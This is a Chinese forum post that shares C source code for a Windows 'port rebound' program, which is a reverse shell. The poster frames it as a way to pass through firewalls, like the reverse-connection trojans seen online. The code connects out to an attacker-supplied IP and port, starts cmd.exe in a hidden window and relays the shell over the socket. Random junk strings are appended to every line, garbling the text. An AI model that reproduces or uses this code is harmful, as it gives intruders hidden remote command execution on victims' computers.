社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6130阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 i@C1}o-/  
vncak  
/* ============================== 1$*ZN4  
Rebound port in Windows NT "0(H! }D  
By wind,2006/7 V u/{Hr  
===============================*/ C#r1zr6  
#include Y|NANjEAfm  
#include s 9Y'MQo*  
/2!Wy6 p  
#pragma comment(lib,"wsock32.lib") 5VU 5kiCt  
E8Jy!8/X9T  
void OutputShell(); ?J<V-,i  
SOCKET sClient; .FarKW  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; l1&NU'WW  
;w/|5 ;{A;  
void main(int argc,char **argv) 7$l!f  
{ ._uXK[c7P  
WSADATA stWsaData; "lFS{7  
int nRet; ^11y8[[  
SOCKADDR_IN stSaiClient,stSaiServer; 6i6m*=h  
5ir[}I^z  
if(argc != 3) P,|%7'?Y  
{ ]>33sb S6  
printf("Useage:\n\rRebound DestIP DestPort\n"); JfJLJ(}  
return; I,*zZNv Ri  
} ;PO{ ips  
c==5cMUg  
WSAStartup(MAKEWORD(2,2),&stWsaData); !&$uq|-  
\lJCBb+k  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w&vZ$n-|  
m M> L0  
stSaiClient.sin_family = AF_INET; 5@YrtZI  
stSaiClient.sin_port = htons(0); h&t/ L  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); o1m+4.-  
5cv&`h8uo_  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6%hr]>L  
{ 7wivu*0  
printf("Bind Socket Failed!\n"); Md4hd#z  
return; HinPO  
} m zh8<w?ns  
{<~oa+"  
stSaiServer.sin_family = AF_INET; $S_xrrE#  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); M x/G^yO9  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :7,j%ELic  
rjFIK`_w  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) S~~G0GiW  
{ "~1{|lj|)  
printf("Connect Error!"); Y ,Iv<Hg  
return; \F$Vm'f_  
} 4O TuX!  
OutputShell(); r~K5jL%z9  
} ZU=om Rh5  
xppl6v(  
void OutputShell() BwLggo  
{ @>r3=s.Q  
char szBuff[1024]; gQ < >S  
SECURITY_ATTRIBUTES stSecurityAttributes; * LaL('.>  
OSVERSIONINFO stOsversionInfo; g[D(]t\#x  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Y<4%4>a  
STARTUPINFO stStartupInfo; -x~4@~  
char *szShell; W E-cq1)  
PROCESS_INFORMATION stProcessInformation; s?fO)7ly  
unsigned long lBytesRead; +f}u.T_#  
0tL#-47  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9BZyCz  
5^,"Ve|  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +N|}6e  
stSecurityAttributes.lpSecurityDescriptor = 0; &V`~ z e  
stSecurityAttributes.bInheritHandle = TRUE; ftr8~*]O  
9+"R}Nxv^  
~ `xaBz0q  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); gMGX)Y ,=/  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ]^ e4coC  
c Y C@@?  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qG]G0|f  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $ ?HOke  
stStartupInfo.wShowWindow = SW_HIDE; n A<#A  
stStartupInfo.hStdInput = hReadPipe; F}f/cG<X  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; c'wxCqnE   
Y<]A 5cm  
GetVersionEx(&stOsversionInfo); w$aiVOjgT  
X6T*?t3!9[  
switch(stOsversionInfo.dwPlatformId) \>DMN #  
{ dR9[K4`p/  
case 1: m]7oTmS  
szShell = "command.com"; n$*e(  
break; L@|xpq  
default: #OQT@uF!  
szShell = "cmd.exe"; fEWXC|"  
break; j3Sz+kOf,  
} 0SHF 8kek  
kBRy(?Mft&  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); j>}<FW-N  
 dcd9AW=  
send(sClient,szMsg,77,0); 0b)q,]l]  
while(1) {:63% j  
{ iI]E%H}  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I+!?~]AUuq  
if(lBytesRead) @VzD> ?)  
{ ~S85+OJ;M  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); pzQWr*5a  
send(sClient,szBuff,lBytesRead,0); kKFhbHUZa  
} (}4]U=/nV  
else h1(GzL%i_  
{ +o4W8f=Ga  
lBytesRead=recv(sClient,szBuff,1024,0); fz[-pJ5[  
if(lBytesRead<=0) break; \#hp,XV>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); [ r<0[  
} C$<['D?8  
} 1MPn{#Ff  
J"$Y`;  
return; x1O]@Z{d\  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五